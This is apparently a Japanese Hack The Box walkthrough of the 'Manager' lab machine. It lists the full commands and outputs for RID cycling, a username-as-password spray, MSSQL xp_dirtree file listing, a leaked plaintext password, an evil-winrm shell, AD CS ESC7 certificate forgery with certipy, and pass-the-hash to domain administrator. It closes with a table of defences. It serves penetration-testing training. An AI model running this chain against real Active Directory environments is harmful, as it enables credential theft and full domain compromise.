Hack The BoxのWriteup(Manager)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Manager — 全実行コマンド・実行結果レポート
Nmap スキャン
AD / MSSQL / WinRM
RID cycling + パスワードスプレー
operator:operator
MSSQL xp_dirtree
webroot 古いバックアップ zip 発見
raven 平文パスワード漏えい
.old-conf.xml
WinRM シェル取得
user.txt ✓
AD CS ESC7 (ManageCa)
SubCA テンプレート強制発行
PKINIT → NTハッシュ
certipy auth (faketime補正)
Pass-the-Hash
root.txt ✓

全 TCP ポートスキャン

BASH
sudo nmap -Pn -p- --min-rate 3000 -oA manager-all 10.129.48.12
sudo nmap -Pn -sC -sV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -oA manager-detail 10.129.48.12
RESULT
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman         (WinRM)
9389/tcp open  adws

Host script results:
| Domain: manager.htb   Host: DC01.manager.htb
🚨
重要発見: Kerberos(88)・LDAP(389/636)・SMB(445) が同居しており Active Directory ドメインコントローラーと判断できる。加えて MSSQL(1433)WinRM(5985) が稼働しており、この2つが後続の侵入経路になる。

hosts ファイルへドメインを登録

BASH
echo '10.129.48.12 manager.htb dc01.manager.htb' | sudo tee -a /etc/hosts
ℹ️
以降の Kerberos 認証 (impacket / certipy) はホスト名解決に依存するため、 IP直打ちではなく必ず FQDN ベースで疎通できる状態にしておく。
PHASE 2

RID cycling とパスワードスプレー

匿名 SMB セッションから RID cycling で全ユーザー列挙

BASH
impacket-lookupsid 'manager.htb/'@10.129.48.12 -no-pass
RESULT
[*] Brute forcing SIDs at 10.129.48.12
[*] StringBinding ncacn_np:10.129.48.12[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
500: MANAGER\Administrator (SidTypeUser)
513: MANAGER\None (SidTypeGroup)
...
1108: MANAGER\zhong (SidTypeUser)
1109: MANAGER\cheng (SidTypeUser)
1110: MANAGER\ryan (SidTypeUser)
1111: MANAGER\raven (SidTypeUser)
1112: MANAGER\jinwoo (SidTypeUser)
1113: MANAGER\chinhae (SidTypeUser)
1114: MANAGER\operator (SidTypeUser)
ℹ️
出力の SID 種別が SidTypeUser の行だけを抽出してユーザー一覧 (administrator, zhong, cheng, ryan, raven, jinwoo, chinhae, operator) に保存する。 匿名 (null session) の SMB バインドだけで認証情報なしに全ユーザーが列挙できる点が最初の弱点。

username = password の低頻度パスワードスプレー

BASH
nxc smb 10.129.48.12 -d manager.htb -u users.txt -p users.txt --no-bruteforce --continue-on-success
RESULT
SMB  10.129.48.12  445  DC01  [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB  10.129.48.12  445  DC01  [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB  10.129.48.12  445  DC01  [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB  10.129.48.12  445  DC01  [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB  10.129.48.12  445  DC01  [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB  10.129.48.12  445  DC01  [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB  10.129.48.12  445  DC01  [+] manager.htb\operator:operator
⚠️
実環境ではアカウントロックアウトポリシーを先に確認し、1ユーザーあたり1回きりの --no-bruteforce 低頻度試行に留める。ここでは列挙済みの各ユーザーに 同名パスワードを1回だけ対応付けて試し、operator:operator が的中した。
PHASE 3

MSSQL xp_dirtree による Web バックアップ漏えい

Windows認証で MSSQL へ接続

BASH
impacket-mssqlclient 'manager.htb/operator:operator@10.129.48.12' -windows-auth
RESULT
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7000)
[!] Press help for extra shell commands
SQL (MANAGER\operator  guest@master)>

xp_dirtree で IIS webroot を走査

SQL PROMPT
SQL> xp_dirtree \inetpub\wwwroot
RESULT
subdirectory   depth   file
about.html       1        1
contact.html     1        1
css              1        0
images           1        0
index.html       1        1
js               1        1
service.html     1        1
website-backup-27-07-23-old.zip   1        1
ℹ️
xp_dirtree の引数は Impacket の対話クライアント上では SQL 文字列の 引用符を付けずに入力する。xp_cmdshell が無効化されていても xp_dirtree はデフォルトで有効な環境が多く、ファイル列挙用の穴になりうる。

HTTP でバックアップを取得し隠しファイルを調査

BASH
wget http://manager.htb/website-backup-27-07-23-old.zip
unzip -a website-backup-27-07-23-old.zip -d manager-backup
find manager-backup -type f -maxdepth 3 -print
grep -RniE 'password|user|ldap' manager-backup
RESULT (.old-conf.xml)
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
🚨
重要発見: ZIP を展開しただけでは見落としがちなドットファイル .old-conf.xml(LDAP接続設定)の中に raven の平文パスワードが 残されていた。通常ファイルだけでなく隠しファイルも必ず確認すること。
PHASE 4

Raven の WinRM ログオンと user.txt 取得

漏えいした資格情報を検証

BASH
nxc winrm 10.129.48.12 -d manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
RESULT
WINRM  10.129.48.12  5985  DC01  [*] Windows Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM  10.129.48.12  5985  DC01  [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

WinRM シェルで user.txt を取得

BASH
evil-winrm -i 10.129.48.12 -u raven -p 'R4v3nBe5tD3veloP3r!123'
*Evil-WinRM* PS C:\Users\raven\Documents> type C:\Users\Raven\Desktop\user.txt
RESULT
ec6d3a699e3bf8c66c818252a1a3d042
user.txt — manager.htb\raven
ec6d3a699e3bf8c66c818252a1a3d042
PHASE 5

AD CS ESC7 (ManageCa) による権限昇格

危険な CA 権限を確認

BASH
certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' \
  -dc-ip 10.129.48.12 -stdout -vulnerable
RESULT
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator, MANAGER.HTB\Authenticated Users, MANAGER.HTB\Raven
        ManageCa                        : MANAGER.HTB\Administrators, ..., MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : User has dangerous permissions.
🚨
重大発見: raven は本来一般ユーザーであるにもかかわらず、 CA の ManageCa(CA管理者相当)権限を誤って付与されている (ESC7)。CA管理者は自分自身を officer(証明書マネージャー)として 登録し、拒否された証明書要求を強制発行できる。

Raven を officer に追加し SubCA テンプレートを有効化

BASH
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \
  -ca manager-DC01-CA -add-officer raven
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \
  -ca manager-DC01-CA -enable-template SubCA
RESULT
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
ℹ️
SubCA テンプレートは本来 CA 自身が使う特殊テンプレートで、 デフォルトでは一般ユーザーへの enroll 権限が無いため通常は要求が拒否される。 しかし CA 管理者権限があれば、いったん拒否された要求を後から強制的に発行できる。

administrator を騙る証明書要求を作成(拒否されるがID/鍵は保存)

BASH
certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' \
  -dc-ip 10.129.48.12 -ca manager-DC01-CA -template SubCA \
  -upn administrator@manager.htb
RESULT
[*] Requesting certificate via RPC
[*] Request ID is 21
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
Would you like to save the private key? (y/N): y
[*] Saving private key to '21.key'
[*] Wrote private key to '21.key'
⚠️
要求が CERTSRV_E_TEMPLATE_DENIED で拒否されること自体は想定内である。 ここで必ず y を選び、Request ID と秘密鍵ファイルを保存すること。 ID は実行のたびに変わるので、実際のリクエストIDを後続コマンドに反映する。

officer 権限で要求を強制発行し PFX を取得

BASH
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \
  -ca manager-DC01-CA -issue-request 21
certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \
  -ca manager-DC01-CA -retrieve 21
RESULT
[*] Successfully issued certificate request ID 21
[*] Retrieving certificate with ID 21
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Loaded private key from '21.key'
[*] Wrote certificate and private key to 'administrator.pfx'

PKINIT で administrator の NT ハッシュを取得

BASH
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.48.12
RESULT (1回目)
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)
BASH (faketime で補正して再試行)
nmap -p445 --script smb2-time 10.129.48.12   # DCとの時刻差を確認
faketime '+7 hours' certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.48.12
RESULT (faketime 適用後)
[*] Using principal: 'administrator@manager.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] NT hash for 'administrator': ae5064c2f62317332c88629e025924ef
ℹ️
検証時は Kali が UTC 10:31、DC が UTC 17:31 で約7時間のずれがあった。 システム時計を恒久的に変更せず、faketime でこのコマンド実行時だけ 時刻を補正することで Kerberos の許容範囲(既定5分)内に収めた。
PHASE 6

Pass-the-Hash による root.txt 取得

取得した NT ハッシュで WinRM に Administrator として接続

BASH
nxc winrm 10.129.48.12 -d manager.htb -u administrator \
  -H ae5064c2f62317332c88629e025924ef \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM  10.129.48.12  5985  DC01  [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!)
WINRM  10.129.48.12  5985  DC01  [+] Executed command
3881890b4188a30112fa231e56e8b2cd
root.txt — Administrator@manager.htb
3881890b4188a30112fa231e56e8b2cd
攻略完了。 RID cycling → パスワードスプレー → MSSQL 経由の情報漏えい → WinRM 侵入 → AD CS ESC7 という一連のチェーンで、匿名アクセスのみから ドメイン管理者相当の権限まで到達できた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — manager.htb\raven
ec6d3a699e3bf8c66c818252a1a3d042
root.txt — Administrator@manager.htb
3881890b4188a30112fa231e56e8b2cd

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
匿名 SMB RID cycling Active Directory (445) 全ドメインユーザー名の漏えい Medium null session で impacket-lookupsid を実行し 8 ユーザーを列挙
弱いパスワードポリシー operator アカウント 低権限ドメインアカウントの窃取 Medium username=password のパスワードスプレーで operator:operator が的中
MSSQL xp_dirtree 情報漏えい MSSQL Server 2019 (1433) IIS webroot 内ファイル一覧の露出 High xp_dirtree \inetpub\wwwroot で古いバックアップ zip を発見・特定
公開領域への機密情報を含むバックアップ放置 IIS webroot (80) 平文資格情報の漏えい High zip 内の隠しファイル .old-conf.xml から raven の平文パスワードを取得
AD CS ESC7 (ManageCa) manager-DC01-CA ドメイン管理者への権限昇格 Critical officer 追加 + SubCA テンプレート強制発行で administrator の証明書を取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャンAD DC、MSSQL、WinRM 検出、ドメイン manager.htb 特定
2ユーザー列挙RID cycling + パスワードスプレー8ユーザー列挙、operator:operator
3情報漏えいMSSQL xp_dirtree + 公開バックアップ zipraven の平文パスワード
4初期侵入WinRM (evil-winrm) ログオンuser.txt 取得
5権限昇格AD CS ESC7 (ManageCa) + faketime PKINITadministrator の NT ハッシュ
6管理者侵入WinRM Pass-the-Hashroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
匿名 SMB セッションから RID cycling で全ドメインユーザーが列挙可能 匿名/null セッションでの SAMR/LSA 列挙を無効化する (RestrictAnonymous を強化)。
ユーザー名と同じ文字列をパスワードに設定しているアカウントが存在 パスワードポリシー・辞書チェックを強化し、定期的な社内パスワードスプレー監査を実施する。
MSSQL の xp_dirtree が一般アカウントから実行可能で、ファイルシステムの一部を露出 不要な拡張ストアドプロシージャを無効化し、SQLサーバーの実行アカウントの最小権限化を徹底する。
機密情報(平文パスワード)を含む古いバックアップが公開 webroot に放置されていた バックアップファイルを Web 公開領域に置かない。設定ファイル内の秘密情報は環境変数やシークレット管理サービスへ移行する。
一般ユーザーに AD CS CA の ManageCa(CA管理者)権限が誤って付与されていた (ESC7) CA の Access Rights を定期的に監査し、ManageCa/ManageCertificates は真に必要な管理者グループのみに限定する。
HackTheBox: Manager | 完全攻略レポート